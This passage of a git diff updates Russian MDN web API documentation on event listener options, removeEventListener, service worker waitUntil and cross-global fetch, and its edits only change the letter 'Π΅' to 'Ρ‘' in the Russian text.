+<p>Для ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠΈ использования ΠΊΠ°ΠΊΠΎΠΉ-Π»ΠΈΠ±ΠΎ ΠΎΠΏΡ†ΠΈΠΈ ΠΌΠΎΠΆΠ½ΠΎ просто Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ Π³Π΅Ρ‚Ρ‚Π΅Ρ€ для Π½Π΅Ρ‘,Β ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ ΠΊΠΎΠ΄, ΠΏΠΎΠ΄ΠΎΠ±Π½Ρ‹ΠΉ Ρ‚ΠΎΠΌΡƒ, Ρ‡Ρ‚ΠΎ ΠΏΠΎΠΊΠ°Π·Π°Π½Β Π²Ρ‹ΡˆΠ΅.</p>
-<p>Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒΒ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ событий, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‰ΠΈΠΉΒ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹, ΠΎ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… ΠΈΠ΄Π΅Ρ‚ Ρ€Π΅Ρ‡ΡŒ, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ это ΠΏΠΎΠ΄ΠΎΠ±Π½Ρ‹ΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ:</p>
+<p>Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒΒ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ событий, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‰ΠΈΠΉΒ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹, ΠΎ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… ΠΈΠ΄Ρ‘Ρ‚ Ρ€Π΅Ρ‡ΡŒ, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ это ΠΏΠΎΠ΄ΠΎΠ±Π½Ρ‹ΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ:</p>
<pre class="brush: js notranslate">someElement.addEventListener("mouseup", handleMouseUp, passiveSupported
? { passive: true } : false);</pre>
-<p>Π—Π΄Π΅ΡΡŒ ΠΌΡ‹ добавляСм ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ события {{event ("mouseup")}} элСмСнта <code>someElement</code>. Для Ρ‚Ρ€Π΅Ρ‚ΡŒΠ΅Π³ΠΎ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π°, Ссли <code>passiveSupported</code> ΠΈΠΌΠ΅Π΅Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>true</code>, ΠΌΡ‹ ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅ΠΌ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ <code>options</code> с <code>passive: true</code>; Π² ΠΏΡ€ΠΎΡ‚ΠΈΠ²Π½ΠΎΠΌ случаС ΠΌΡ‹ Π·Π½Π°Π΅ΠΌ, Ρ‡Ρ‚ΠΎ Π½Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‚ΡŒ логичСскоС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, ΠΈ ΠΌΡ‹ ΠΏΠ΅Ρ€Π΅Π΄Π°Π΅ΠΌ <code>false</code> ΠΊΠ°ΠΊ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π° <code>useCapture</code>.</p>
+<p>Π—Π΄Π΅ΡΡŒ ΠΌΡ‹ добавляСм ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ события {{event ("mouseup")}} элСмСнта <code>someElement</code>. Для Ρ‚Ρ€Π΅Ρ‚ΡŒΠ΅Π³ΠΎ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π°, Ссли <code>passiveSupported</code> ΠΈΠΌΠ΅Π΅Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>true</code>, ΠΌΡ‹ ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅ΠΌ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ <code>options</code> с <code>passive: true</code>; Π² ΠΏΡ€ΠΎΡ‚ΠΈΠ²Π½ΠΎΠΌ случаС ΠΌΡ‹ Π·Π½Π°Π΅ΠΌ, Ρ‡Ρ‚ΠΎ Π½Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‚ΡŒ логичСскоС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, ΠΈ ΠΌΡ‹ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‘ΠΌ <code>false</code> ΠΊΠ°ΠΊ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π° <code>useCapture</code>.</p>
<p>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΡΡ‚ΠΎΡ€ΠΎΠ½Π½ΡŽΡŽ Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΡƒ, Ρ‚Π°ΠΊΡƒΡŽ ΠΊΠ°ΠΊ <a href="https://modernizr.com/docs">Modernizr</a> ΠΈΠ»ΠΈ <a href="https://github.com/rafrex/detect-it">Detect It</a>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΡƒ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎΠ³ΠΎ свойства.</p>
diff --git a/files/ru/web/api/eventtarget/removeeventlistener/index.html b/files/ru/web/api/eventtarget/removeeventlistener/index.html
index 12a128fb9c..86a4b41898 100644
--- a/files/ru/web/api/eventtarget/removeeventlistener/index.html
+++ b/files/ru/web/api/eventtarget/removeeventlistener/index.html
@@ -34,7 +34,7 @@ translation_of: Web/API/EventTarget/removeEventListener
</dd>
<dt><code>useCapture</code> {{optional_inline}}</dt>
<dd>Π£ΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, Π±Ρ‹Π» Π»ΠΈ удаляСмый {{domxref("EventListener")}}зарСгистрирован ΠΊΠ°ΠΊ ΠΏΠ΅Ρ€Π΅Ρ…Π²Π°Ρ‚Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΉ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ, ΠΈΠ»ΠΈ Π½Π΅Ρ‚. Если этот ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ отсутствуСт, прСдполагаСтся Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ:<code>false</code>.</dd>
- <dd>Если ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ Π±Ρ‹Π» зарСгистрирован Π΄Π²Π°ΠΆΠ΄Ρ‹, ΠΎΠ΄ΠΈΠ½ Ρ€Π°Π· с ΠΏΠ΅Ρ€Π΅Ρ…Π²Π°Ρ‚ΠΎΠΌ (с <code>capture</code>) ΠΈ ΠΎΠ΄ΠΈΠ½ - Π±Π΅Π·, ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΈΠ· Π½ΠΈΡ… Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ ΡƒΠ΄Π°Π»Π΅Π½ ΠΏΠΎ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ. Π£Π΄Π°Π»Π΅Π½ΠΈΠ΅ ΠΏΠ΅Ρ€Π΅Ρ…Π²Π°Ρ‚Ρ‹Π²Π°ΡŽΡ‰Π΅Π³ΠΎ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ° Π½ΠΈΠΊΠ°ΠΊ Π½Π΅ Π·Π°Ρ‚Ρ€Π°Π³ΠΈΠ²Π°Π΅Ρ‚ Π½Π΅ΠΏΠ΅Ρ€Π΅Ρ…Π²Π°Ρ‚Ρ‹Π²Π°ΡŽΡ‰ΡƒΡŽ Π²Π΅Ρ€ΡΠΈΡŽ этого ΠΆΠ΅ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ°, ΠΈ Π½Π°ΠΎΠ±ΠΎΡ€ΠΎΡ‚.</dd>
+ <dd>Если ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ Π±Ρ‹Π» зарСгистрирован Π΄Π²Π°ΠΆΠ΄Ρ‹, ΠΎΠ΄ΠΈΠ½ Ρ€Π°Π· с ΠΏΠ΅Ρ€Π΅Ρ…Π²Π°Ρ‚ΠΎΠΌ (с <code>capture</code>) ΠΈ ΠΎΠ΄ΠΈΠ½ - Π±Π΅Π·, ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΈΠ· Π½ΠΈΡ… Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ ΡƒΠ΄Π°Π»Ρ‘Π½ ΠΏΠΎ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ. Π£Π΄Π°Π»Π΅Π½ΠΈΠ΅ ΠΏΠ΅Ρ€Π΅Ρ…Π²Π°Ρ‚Ρ‹Π²Π°ΡŽΡ‰Π΅Π³ΠΎ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ° Π½ΠΈΠΊΠ°ΠΊ Π½Π΅ Π·Π°Ρ‚Ρ€Π°Π³ΠΈΠ²Π°Π΅Ρ‚ Π½Π΅ΠΏΠ΅Ρ€Π΅Ρ…Π²Π°Ρ‚Ρ‹Π²Π°ΡŽΡ‰ΡƒΡŽ Π²Π΅Ρ€ΡΠΈΡŽ этого ΠΆΠ΅ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ°, ΠΈ Π½Π°ΠΎΠ±ΠΎΡ€ΠΎΡ‚.</dd>
</dl>
<div class="note"><strong>Π—Π°ΠΌΠ΅Ρ‚ΠΊΠ°:</strong> <code>useCapture</code> трСбуСтся Π² Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²Π΅ основных Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ² старых вСрсий. Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Ρ‚ΡŒ Π±ΠΎΠ»ΡŒΡˆΡƒΡŽ ΡΠΎΠ²ΠΌΠ΅ΡΡ‚ΠΈΠΌΠΎΡΡ‚ΡŒ, Π²Ρ‹ всСгда Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΒ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ <code>useCapture</code>.</div>
@@ -49,7 +49,7 @@ translation_of: Web/API/EventTarget/removeEventListener
<h2 id="Compatibility" name="Compatibility">ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΡ</h2>
-<p>Если {{domxref("EventListener")}} Π±Ρ‹Π» ΡƒΠ΄Π°Π»Π΅Π½ ΠΈΠ· {{domxref("EventTarget")}} процСссС ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ события (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ ΠΏΡ€Π΅Π΄ΡˆΠ΅ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΌ {{domxref("EventListener")}} Ρ‚ΠΎΠ³ΠΎ ΠΆΠ΅ Ρ‚ΠΈΠΏΠ°), ΠΎΠ½ Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π·Π²Π°Π½. ПослС удалСния, {{domxref("EventListener")}} Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π·Ρ‹Π²Π°Ρ‚ΡŒΡΡ, ΠΎΠ΄Π½Π°ΠΊΠΎ Π΅Π³ΠΎ ΠΌΠΎΠΆΠ½ΠΎ Π½Π°Π·Π½Π°Ρ‡ΠΈΡ‚ΡŒ Π·Π°Π½ΠΎΠ²ΠΎ.</p>
+<p>Если {{domxref("EventListener")}} Π±Ρ‹Π» ΡƒΠ΄Π°Π»Ρ‘Π½ ΠΈΠ· {{domxref("EventTarget")}} процСссС ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ события (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ ΠΏΡ€Π΅Π΄ΡˆΠ΅ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΌ {{domxref("EventListener")}} Ρ‚ΠΎΠ³ΠΎ ΠΆΠ΅ Ρ‚ΠΈΠΏΠ°), ΠΎΠ½ Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π·Π²Π°Π½. ПослС удалСния, {{domxref("EventListener")}} Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π·Ρ‹Π²Π°Ρ‚ΡŒΡΡ, ΠΎΠ΄Π½Π°ΠΊΠΎ Π΅Π³ΠΎ ΠΌΠΎΠΆΠ½ΠΎ Π½Π°Π·Π½Π°Ρ‡ΠΈΡ‚ΡŒ Π·Π°Π½ΠΎΠ²ΠΎ.</p>
<p>Π’Ρ‹Π·ΠΎΠ²Β <code>removeEventListener()</code> с ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π°ΠΌΠΈ, Π½Π΅ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΌΠΈ Π½ΠΈ ΠΎΠ΄Π½ΠΎΠΌΡƒ зарСгистрированному {{domxref("EventListener")}} Π² <code>EventTarget</code>, Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ‚ Π½ΠΈΠΊΠ°ΠΊΠΎΠ³ΠΎ эффСкта.</p>
diff --git a/files/ru/web/api/extendableevent/waituntil/index.html b/files/ru/web/api/extendableevent/waituntil/index.html
index 61283c7031..0940ef1c50 100644
--- a/files/ru/web/api/extendableevent/waituntil/index.html
+++ b/files/ru/web/api/extendableevent/waituntil/index.html
@@ -9,7 +9,7 @@ translation_of: Web/API/ExtendableEvent/waitUntil
<p>Бобытия <code>install</code>Β Π² {{domxref("ServiceWorkerGlobalScope", "service workers")}} ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚Β <code>waitUntil()</code> Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π·Π°Π΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ service worker Π²Β {{domxref("ServiceWorkerRegistration.installing", "installing")}} Ρ„Π°Π·Π΅Β ΠΏΠΎΠΊΠ° Π½Π΅ Π·Π°Π²Π΅Ρ€ΡˆΠ°Ρ‚ΡΡ Π·Π°Π΄Π°Ρ‡ΠΈ. Если ΠΎΠ±Π΅Ρ‰Π°Π½ΠΈΠ΅ ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Π½ΠΎΠ΅ Π²Β <code>waitUntil()</code> отклоняСтся, установка считаСтся Π½Π΅ΡƒΠ΄Π°Ρ‡Π½ΠΎΠΉ и устанавливаСмый service worker отбрасываСтся.Β  Π’ ΠΏΠ΅Ρ€Π²ΡƒΡŽ ΠΎΡ‡Π΅Ρ€Π΅Π΄ΡŒ это ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для Π³Π°Ρ€Π°Π½Ρ‚ΠΈΠΈ Ρ‚ΠΎΠ³ΠΎ,Β Ρ‡Ρ‚ΠΎ service worker Π½Π΅ рассматриваСтся ΠΊΠ°ΠΊ установлСнный (installed), ΠΏΠΎΠΊΠ° всС основныС кэши Π½Π° ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΎΠ½ Π·Π°Π²ΠΈΡΠΈΡ‚Β ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎ Π½Π΅ Π·Π°ΠΏΠΎΠ»Π½Π΅Π½Ρ‹.</p>
-<p>Бобытия <code>activate</code>Β Π² {{domxref("ServiceWorkerGlobalScope", "service workers")}} ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚Β <code>waitUntil()</code> для размСщСния Π² Π±ΡƒΡ„Π΅Ρ€Π΅Β Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½Ρ‹Ρ…Β ΡΠΎΠ±Ρ‹Ρ‚ΠΈΠΉ Ρ‚Π°ΠΊΠΈΡ…Β ΠΊΠ°ΠΊΒ <code>fetch</code>Β ΠΈ <code>push</code>Β ΠΏΠΎΠΊΠ° ΠΎΠ±Π΅Ρ‰Π°Π½ΠΈΠ΅ ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Π½ΠΎΠ΅ Π²Β <code>waitUntil()</code> Π½Π΅ Π·Π°Π²Π΅Ρ€ΡˆΠΈΡ‚ΡΡ ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎ. Π­Ρ‚ΠΎ Π΄Π°Π΅Ρ‚ service worker врСмя, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ±Π½ΠΎΠ²ΠΈΡ‚ΡŒ схСмы Π±Π°Π·Ρ‹ Π΄Π°Π½Π½Ρ‹Ρ…Β ΠΈ ΡƒΠ΄Π°Π»ΠΈΡ‚ΡŒ ΡƒΡΡ‚Π°Ρ€Π΅Π²ΡˆΠΈΠ΅Β {{domxref("Cache", "caches")}}, Ρ‚Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ события ΠΌΠΎΠ³ΡƒΡ‚ ΠΏΠΎΠ»Π°Π³Π°Ρ‚ΡŒΡΡ Π½Π° ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ ΠΎΠ±Π½ΠΎΠ²Π»Π΅Π½Π½ΠΎΠ΅ состояниС.</p>
+<p>Бобытия <code>activate</code>Β Π² {{domxref("ServiceWorkerGlobalScope", "service workers")}} ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚Β <code>waitUntil()</code> для размСщСния Π² Π±ΡƒΡ„Π΅Ρ€Π΅Β Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½Ρ‹Ρ…Β ΡΠΎΠ±Ρ‹Ρ‚ΠΈΠΉ Ρ‚Π°ΠΊΠΈΡ…Β ΠΊΠ°ΠΊΒ <code>fetch</code>Β ΠΈ <code>push</code>Β ΠΏΠΎΠΊΠ° ΠΎΠ±Π΅Ρ‰Π°Π½ΠΈΠ΅ ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Π½ΠΎΠ΅ Π²Β <code>waitUntil()</code> Π½Π΅ Π·Π°Π²Π΅Ρ€ΡˆΠΈΡ‚ΡΡ ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎ. Π­Ρ‚ΠΎ Π΄Π°Ρ‘Ρ‚ service worker врСмя, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ±Π½ΠΎΠ²ΠΈΡ‚ΡŒ схСмы Π±Π°Π·Ρ‹ Π΄Π°Π½Π½Ρ‹Ρ…Β ΠΈ ΡƒΠ΄Π°Π»ΠΈΡ‚ΡŒ ΡƒΡΡ‚Π°Ρ€Π΅Π²ΡˆΠΈΠ΅Β {{domxref("Cache", "caches")}}, Ρ‚Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ события ΠΌΠΎΠ³ΡƒΡ‚ ΠΏΠΎΠ»Π°Π³Π°Ρ‚ΡŒΡΡ Π½Π° ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ ΠΎΠ±Π½ΠΎΠ²Π»Ρ‘Π½Π½ΠΎΠ΅ состояниС.</p>
<p>ΠœΠ΅Ρ‚ΠΎΠ΄Β <code>waitUntil()</code>Β Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ ΠΈΠ·Π½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎ Π²Ρ‹Π·Π²Π°Π½ Π²Π½ΡƒΡ‚Ρ€ΠΈ колбэка события (<em>event callback</em>), Π½ΠΎ послС этого ΠΎΠ½ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π²Ρ‹Π·Π²Π°Π½ мноТСство Ρ€Π°Π·, Π΄ΠΎ Ρ‚Π΅Ρ… ΠΏΠΎΡ€ ΠΏΠΎΠΊΠ° всС обСщания ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Π½Ρ‹Π΅ Π² Π½Π΅Π³ΠΎ Π½Π΅ Π·Π°Π²Π΅Ρ€ΡˆΠ°Ρ‚ΡΡ ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎ.</p>
diff --git a/files/ru/web/api/fetch_api/cross-global_fetch_usage/index.html b/files/ru/web/api/fetch_api/cross-global_fetch_usage/index.html
index 2770db2a0f..f59ccb869f 100644
--- a/files/ru/web/api/fetch_api/cross-global_fetch_usage/index.html
+++ b/files/ru/web/api/fetch_api/cross-global_fetch_usage/index.html
@@ -3,7 +3,7 @@ title: Cross-global fetch usage
slug: Web/API/Fetch_API/Cross-global_fetch_usage
translation_of: Web/API/Fetch_API/Cross-global_fetch_usage
---
-<p class="summary">Π­Ρ‚Π° ΡΡ‚Π°Ρ‚ΡŒΡ ΠΎΠ±ΡŠΡΡΠ½ΡΠ΅Ρ‚ ΠΊΡ€Π°ΠΉΠ½ΠΈΠΉ случай, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ случаСтся с fetch (ΠΈ ΠΏΠΎΡ‚Π΅Π½Ρ†ΠΈΠ°Π»ΡŒΠ½ΠΎ с Π΄Ρ€ΡƒΠ³ΠΈΠΌΠΈ API, ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²Π»ΡΡŽΡ‰ΠΈΠΌΠΈ Ρ‚Π°ΠΊΠΎΠΉ ΠΆΠ΅ способ получСния Π΄Π°Π½Π½Ρ‹Ρ…). Когда cross-origin fetch, Π²ΠΊΠ»ΡŽΡ‡Π°ΡŽΡ‰ΠΈΠΉΒ ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉΒ URL, инициируСтся ΠΈΠ· {{htmlelement("iframe")}}, ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ URL ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Ρ‚Π΅ΠΊΡƒΡ‰ΠΈΠΉΒ Π³Π»ΠΎΠ±Π°Π»ΡŒΠ½Ρ‹ΠΉΒ location вмСсто Ρ‚ΠΎΠ³ΠΎΒ Ρ‡Ρ‚ΠΎ задаСтся Π² iframe.</p>
+<p class="summary">Π­Ρ‚Π° ΡΡ‚Π°Ρ‚ΡŒΡ ΠΎΠ±ΡŠΡΡΠ½ΡΠ΅Ρ‚ ΠΊΡ€Π°ΠΉΠ½ΠΈΠΉ случай, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ случаСтся с fetch (ΠΈ ΠΏΠΎΡ‚Π΅Π½Ρ†ΠΈΠ°Π»ΡŒΠ½ΠΎ с Π΄Ρ€ΡƒΠ³ΠΈΠΌΠΈ API, ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²Π»ΡΡŽΡ‰ΠΈΠΌΠΈ Ρ‚Π°ΠΊΠΎΠΉ ΠΆΠ΅ способ получСния Π΄Π°Π½Π½Ρ‹Ρ…). Когда cross-origin fetch, Π²ΠΊΠ»ΡŽΡ‡Π°ΡŽΡ‰ΠΈΠΉΒ ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉΒ URL, инициируСтся ΠΈΠ· {{htmlelement("iframe")}}, ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ URL ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Ρ‚Π΅ΠΊΡƒΡ‰ΠΈΠΉΒ Π³Π»ΠΎΠ±Π°Π»ΡŒΠ½Ρ‹ΠΉΒ location вмСсто Ρ‚ΠΎΠ³ΠΎΒ Ρ‡Ρ‚ΠΎ задаётся Π² iframe.</p>
<h2 id="ΠšΡ€Π°ΠΉΠ½ΠΈΠΉ_случай">ΠšΡ€Π°ΠΉΠ½ΠΈΠΉ случай</h2>
@@ -22,7 +22,7 @@ translation_of: Web/API/Fetch_API/Cross-global_fetch_usage
<pre class="brush: js">let absolute = new URL(relative, window.location.href)</pre>
-<p>Π­Ρ‚ΠΎ Π½Π΅ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ° ΠΊΠ°ΠΊ таковая. ΠŸΡ€ΠΎΡΡ‚ΠΎ Ρ€Π°Π·Π½Ρ‹Π΅ API, Π΄Π΅ΠΌΠΎΠ½ΡΡ‚Ρ€ΠΈΡ€ΡƒΡŽΡ‰ΠΈΠ΅ Ρ‚Π°ΠΊΠΎΠ΅ ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅, Π΄Π΅Π»Π°Π»ΠΈ Π΅Π³ΠΎ нСсовмСстимым с ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ΠΌ, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΌ Π² спСцификации, Ρ‡Ρ‚ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ привСсти ΠΊ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ°ΠΌ Π² дальнСйшСм.</p>
+<p>Π­Ρ‚ΠΎ Π½Π΅ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ° ΠΊΠ°ΠΊ таковая. ΠŸΡ€ΠΎΡΡ‚ΠΎ Ρ€Π°Π·Π½Ρ‹Π΅ API, Π΄Π΅ΠΌΠΎΠ½ΡΡ‚Ρ€ΠΈΡ€ΡƒΡŽΡ‰ΠΈΠ΅ Ρ‚Π°ΠΊΠΎΠ΅ ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅, Π΄Π΅Π»Π°Π»ΠΈ Π΅Π³ΠΎ нСсовмСстимым с ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ΠΌ, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΌ Π² спСцификации, Ρ‡Ρ‚ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ привСсти ΠΊ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ°ΠΌ Π² дальнСйшСм.</p>
<h2 id="РСшСниС">РСшСниС</h2>
@@ -30,4 +30,4 @@ translation_of: Web/API/Fetch_API/Cross-global_fetch_usage
<pre class="brush: js">let absolute = new URL(relative, frame.contentWindow.location.href)</pre>
-<p>ВСдСтся ΠΌΠ½ΠΎΠ³ΠΎ дискуссий ΠΎ Ρ‚ΠΎΠΌ, ΠΊΠ°ΠΊ привСсти Π½ΠΎΠ²Ρ‹Π΅ спСцификации Π² соотвСтствиС с этим ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠ΅ΠΌ повСдСния, для Ρ‚ΠΎΠ³ΠΎ Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠΌΠ΅Π½ΡŒΡˆΠΈΡ‚ΡŒ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½Ρ‹Π΅ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹ Π² Π±ΡƒΠ΄ΡƒΡ‰Π΅ΠΌ.</p>
